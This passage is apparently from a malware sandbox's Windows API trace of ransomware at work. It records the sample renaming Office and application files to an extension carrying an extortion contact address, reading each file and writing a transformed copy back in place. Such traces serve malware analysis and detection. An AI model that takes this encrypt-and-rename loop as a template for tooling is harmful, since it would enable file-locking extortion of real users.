cFileName="DatabaseCompare_col.hxt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DATABA~3.FIR")) returned 0x6d4f40 [0236.640] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0236.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_col.hxt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0236.641] GetProcessHeap () returned 0x630000 [0236.641] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x6fa93d8 [0236.641] GetProcessHeap () returned 0x630000 [0236.641] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x6fa96a8 [0236.641] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.641] ReadFile (in: hFile=0x4f0, lpBuffer=0x6fa93d8, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa93d8*, lpNumberOfBytesRead=0x64bff0c*=0xc0, lpOverlapped=0x0) returned 1 [0236.642] GetProcessHeap () returned 0x630000 [0236.642] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0236.642] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.642] WriteFile (in: hFile=0x4f0, lpBuffer=0x6fa96a8*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa96a8*, lpNumberOfBytesWritten=0x64bff0c*=0xc0, lpOverlapped=0x0) returned 1 [0236.643] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.643] WriteFile (in: hFile=0x4f0, lpBuffer=0x6fa9767*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa9767*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.643] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.643] WriteFile (in: hFile=0x4f0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.643] CloseHandle (hObject=0x4f0) returned 1 [0236.643] GetProcessHeap () returned 0x630000 [0236.643] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa96a8 | out: hHeap=0x630000) returned 1 [0236.643] GetProcessHeap () returned 0x630000 [0236.643] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa93d8 | out: hHeap=0x630000) returned 1 [0236.643] GetProcessHeap () returned 0x630000 [0236.643] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0236.643] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.643] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_col.hxt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb0c5e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb0c5e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x530006df, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x64bfd20, dwReserved1=0x6fa93d8, cFileName="DatabaseCompare_col.hxt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DATABA~3.FIR")) returned 0x6d5040 [0236.643] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0236.644] Sleep (dwMilliseconds=0x1) [0236.656] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare.HxS", len=0x6f | out: pbstr=0x64bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare.HxS") returned 1 [0236.656] GetProcessHeap () returned 0x630000 [0236.656] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4efc) returned 0x6fe3bb0 [0236.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare.HxS" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0236.657] CloseHandle (hObject=0x6c0) returned 1 [0236.657] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.657] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare.HxS" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare.HxS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.658] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare.HxS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44c8b33, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2db78, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="DatabaseCompare.HxS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DAE975~1.FIR")) returned 0x6d4f80 [0236.658] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0236.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare.HxS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0236.658] GetProcessHeap () returned 0x630000 [0236.658] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x733a400 [0236.658] GetProcessHeap () returned 0x630000 [0236.658] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7345830 [0236.658] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.658] ReadFile (in: hFile=0x6c0, lpBuffer=0x733a400, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x733a400*, lpNumberOfBytesRead=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0243.970] GetProcessHeap () returned 0x630000 [0243.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745b3b0 [0243.970] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.970] WriteFile (in: hFile=0x6c0, lpBuffer=0x7345830*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7345830*, lpNumberOfBytesWritten=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0243.971] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.971] WriteFile (in: hFile=0x6c0, lpBuffer=0x7350c2f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7350c2f*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0243.972] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.972] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0243.973] CloseHandle (hObject=0x6c0) returned 1 [0243.973] GetProcessHeap () returned 0x630000 [0243.973] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7345830 | out: hHeap=0x630000) returned 1 [0243.973] GetProcessHeap () returned 0x630000 [0243.973] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x733a400 | out: hHeap=0x630000) returned 1 [0243.973] GetProcessHeap () returned 0x630000 [0243.973] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745b3b0 | out: hHeap=0x630000) returned 1 [0243.973] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.973] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare.HxS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44c8b33, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x575f23f9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2db9c, dwReserved0=0x9647496, dwReserved1=0x733a3f8, cFileName="DatabaseCompare.HxS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DAE975~1.FIR")) returned 0x6d4f80 [0243.973] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0243.973] Sleep (dwMilliseconds=0x1) [0244.005] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as80.xsl", len=0x77 | out: pbstr=0x64bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as80.xsl") returned 1 [0244.005] GetProcessHeap () returned 0x630000 [0244.005] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ea0) returned 0x6fe3bb0 [0244.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0244.006] CloseHandle (hObject=0x5ec) returned 1 [0244.006] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0244.007] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\as80.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0244.007] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0244.008] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b015b1d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b015b1d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43e4, dwReserved0=0x390039, dwReserved1=0x320038, cFileName="as80.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AS80XS~1.FIR")) returned 0x6d5440 [0244.008] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0244.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0244.008] GetProcessHeap () returned 0x630000 [0244.008] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4401) returned 0x73c0648 [0244.008] GetProcessHeap () returned 0x630000 [0244.008] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4401) returned 0x705b9d0 [0244.009] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.009] ReadFile (in: hFile=0x5ec, lpBuffer=0x73c0648, nNumberOfBytesToRead=0x43e0, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73c0648*, lpNumberOfBytesRead=0x64bff0c*=0x43e0, lpOverlapped=0x0) returned 1 [0247.591] GetProcessHeap () returned 0x630000 [0247.591] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318328 [0247.591] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.591] WriteFile (in: hFile=0x5ec, lpBuffer=0x705b9d0*, nNumberOfBytesToWrite=0x43e0, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x705b9d0*, lpNumberOfBytesWritten=0x64bff0c*=0x43e0, lpOverlapped=0x0) returned 1 [0247.591] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.591] WriteFile (in: hFile=0x5ec, lpBuffer=0x705fdaf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x705fdaf*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0247.591] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.591] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0247.591] CloseHandle (hObject=0x5ec) returned 1 [0247.592] GetProcessHeap () returned 0x630000 [0247.592] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x705b9d0 | out: hHeap=0x630000) returned 1 [0248.982] GetProcessHeap () returned 0x630000 [0248.982] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73c0648 | out: hHeap=0x630000) returned 1 [0248.982] GetProcessHeap () returned 0x630000 [0248.982] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318328 | out: hHeap=0x630000) returned 1 [0249.147] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.147] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b015b1d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x598702e8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4408, dwReserved0=0x9647496, dwReserved1=0x73c0640, cFileName="as80.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AS80XS~1.FIR")) returned 0x6d5580 [0249.147] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0249.147] Sleep (dwMilliseconds=0x1) [0249.156] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\Finance.xml", len=0x94 | out: pbstr=0x64bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\Finance.xml") returned 1 [0249.156] GetProcessHeap () returned 0x630000 [0249.156] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e80) returned 0x6fe3bb0 [0249.156] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\Finance.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\finance\\finance.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.156] Sleep (dwMilliseconds=0x1) [0249.233] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_TileMediumSquare.scale-100.png", len=0x84 | out: pbstr=0x64bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_TileMediumSquare.scale-100.png") returned 1 [0249.233] GetProcessHeap () returned 0x630000 [0249.233] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e58) returned 0x6fe3bb0 [0249.233] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_TileMediumSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\sports_tilemediumsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.234] Sleep (dwMilliseconds=0x1) [0249.247] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-32.png", len=0x81 | out: pbstr=0x64bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-32.png") returned 1 [0249.247] GetProcessHeap () returned 0x630000 [0249.247] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e48) returned 0x6fe3bb0 [0249.247] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\sports_logosmall.targetsize-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.247] Sleep (dwMilliseconds=0x1) [0249.268] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_LogoSmall.scale-100.png", len=0x8c | out: pbstr=0x64bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_LogoSmall.scale-100.png") returned 1 [0249.268] GetProcessHeap () returned 0x630000 [0249.268] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e0c) returned 0x6fe3bb0 [0249.268] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_LogoSmall.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\sports_logosmall.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.272] Sleep (dwMilliseconds=0x1) [0249.283] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\THMBNAIL.PNG", len=0x70 | out: pbstr=0x64bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\THMBNAIL.PNG") returned 1 [0249.283] GetProcessHeap () returned 0x630000 [0249.283] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e00) returned 0x6fe3bb0 [0249.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0249.283] CloseHandle (hObject=0x4f0) returned 1 [0249.284] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0249.284] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\watermar\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\watermar\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0249.284] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.285] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", 